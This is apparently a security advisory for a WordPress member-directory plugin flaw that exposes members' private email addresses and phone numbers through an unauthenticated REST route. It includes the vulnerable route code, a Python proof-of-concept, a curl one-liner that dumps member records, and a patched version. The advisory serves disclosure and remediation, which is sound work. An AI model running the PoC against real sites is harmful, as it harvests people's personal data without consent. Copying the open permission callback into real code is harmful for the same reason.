
Proof-of-concept exploit and technical advisory for an unauthenticated member PII disclosure in a WordPress REST API directory plugin, including root-cause analysis, PoC code, and remediation guidance.
CVE-2026-13736 is an unauthenticated Member Personally Identifiable Information (PII) disclosure vulnerability affecting the NewPath WildApricotPress Add-on – Member Directory WordPress plugin prior to and including version 1.0.0, discovered and analyzed by cybersecurity researcher Huynh Kien Minh (MinhHK). The flaw resides within the plugin's custom WordPress REST API routing architecture, where member directory endpoints fail to enforce privacy access controls on restricted fields. Consequently, unauthenticated remote visitors can query public REST routes to harvest confidential member data, including private email addresses, personal phone numbers, and membership directory attributes that were explicitly configured as members-only. This sensitive data exposure violates expected privacy boundaries and enables targeted phishing, credential stuffing, and unauthorized profiling across affected organizations. Security researcher Huynh Kien Minh verified this vulnerability under CVSS 3.1 score 5.3 Medium (CWE-284 / CWE-200), recommending immediate REST endpoint permission hardening, field-level privacy verification, and sanitization of serialized JSON member API responses.
Quick Links: Explore the researcher's official Cybersecurity Portfolio or view the official WPScan Advisory.
The root cause of CVE-2026-13736 originates in the plugin's REST API controller implementation. The plugin registers a public WordPress REST API route (e.g., /wp-json/wildapricot/v1/members or /wp-json/newpath-wap/v1/directory) to facilitate client-side rendering of membership directories and contact cards.
// Insecure REST route registration without field privacy filters
add_action( 'rest_api_init', function() {
register_rest_route( 'newpath-wap/v1', '/directory', array(
'methods' => WP_REST_Server::READABLE,
'callback' => 'newpath_wap_get_member_directory',
'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
) );
} );
function newpath_wap_get_member_directory( $request ) {
$members_data = get_wildapricot_cached_members();
// FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
// without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
return rest_ensure_response( $members_data );
}
'permission_callback' => '__return_true', allowing unauthenticated HTTP GET requests from any origin.Ethical Disclaimer: This Proof-of-Concept is provided strictly for vulnerability verification, defensive research, and responsible disclosure by security researcher Huynh Kien Minh.
poc_cve_2026_13736.py)#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import json
import sys
TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"
def verify_vulnerability(target_url):
print(f"[*] Auditing Target: {target_url}")
print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
"Accept": "application/json"
}
try:
response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
if isinstance(data, list) and len(data) > 0:
sample_record = data[0]
pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
return True
else:
print("[-] Endpoint responded with empty data.")
elif response.status_code in [401, 403]:
print("[+] Endpoint requires authentication (Protected/Patched).")
else:
print(f"[-] Received HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
verify_vulnerability(target)
curl -s -X GET "http://target-wordpress.local/wp-json/newpath-wap/v1/directory" \
-H "Accept: application/json" | jq '.[0] | {Name: .name, Email: .email, Phone: .phone, PrivacySetting: .field_privacy}'
NewPath WildApricotPress Add-on – Member Directory to the latest patched version (> 1.0.0).Enforce field-level privacy checks during response serialization:
function newpath_wap_get_member_directory( $request ) {
$is_logged_in = is_user_logged_in();
$raw_members = get_wildapricot_cached_members();
$sanitized = array();
foreach ( $raw_members as $member ) {
$member_card = array(
'id' => intval( $member['Id'] ),
'name' => sanitize_text_field( $member['DisplayName'] ),
);
// Enforce Members-Only field protection
if ( $is_logged_in || 'Public' === $member['EmailPrivacy'] ) {
$member_card['email'] = sanitize_email( $member['Email'] );
}
if ( $is_logged_in || 'Public' === $member['PhonePrivacy'] ) {
$member_card['phone'] = sanitize_text_field( $member['Phone'] );
}
$sanitized[] = $member_card;
}
return rest_ensure_response( $sanitized );
}
Huynh Kien Minh (MinhHK) is an Information Security Researcher and Software Engineer specializing in WordPress core & plugin auditing, REST API vulnerability assessments, and responsible disclosure across the global open-source ecosystem.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 Unauthenticated Member PII Disclosure",
"name": "CVE-2026-13736 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-22",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "NewPath WildApricotPress Add-on – Member Directory",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13736"
}
| Parameter | Technical Specification |
|---|
| Vulnerability Identifier | CVE-2026-13736 |
| Target Software | NewPath WildApricotPress Add-on – Member Directory (WordPress Plugin) |
| Plugin Slug | newpath-wildapricotpress-add-on-member-directory |
| Vulnerable Versions | <= 1.0.0 |
| Vulnerability Class | Improper Access Control / Information Exposure (CWE-284 / CWE-200 / CWE-862) |
| CVSS v3.1 Score | 5.3 (Medium) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Discoverer / Researcher | Huynh Kien Minh (MinhHK) |
| Verification Authority | WPScan / MITRE Corporation / NVD |
| WPScan Advisory Reference | WPScan Report 97fe9780-ad69-4f36-9496-5ca9c0e2bc39 |
| NVD Reference | NVD CVE-2026-13736 Detail |
| Feedly Threat Intelligence | Feedly CVE-2026-13736 Hub |
| Researcher Portfolio | https://minhhk.web.app/ |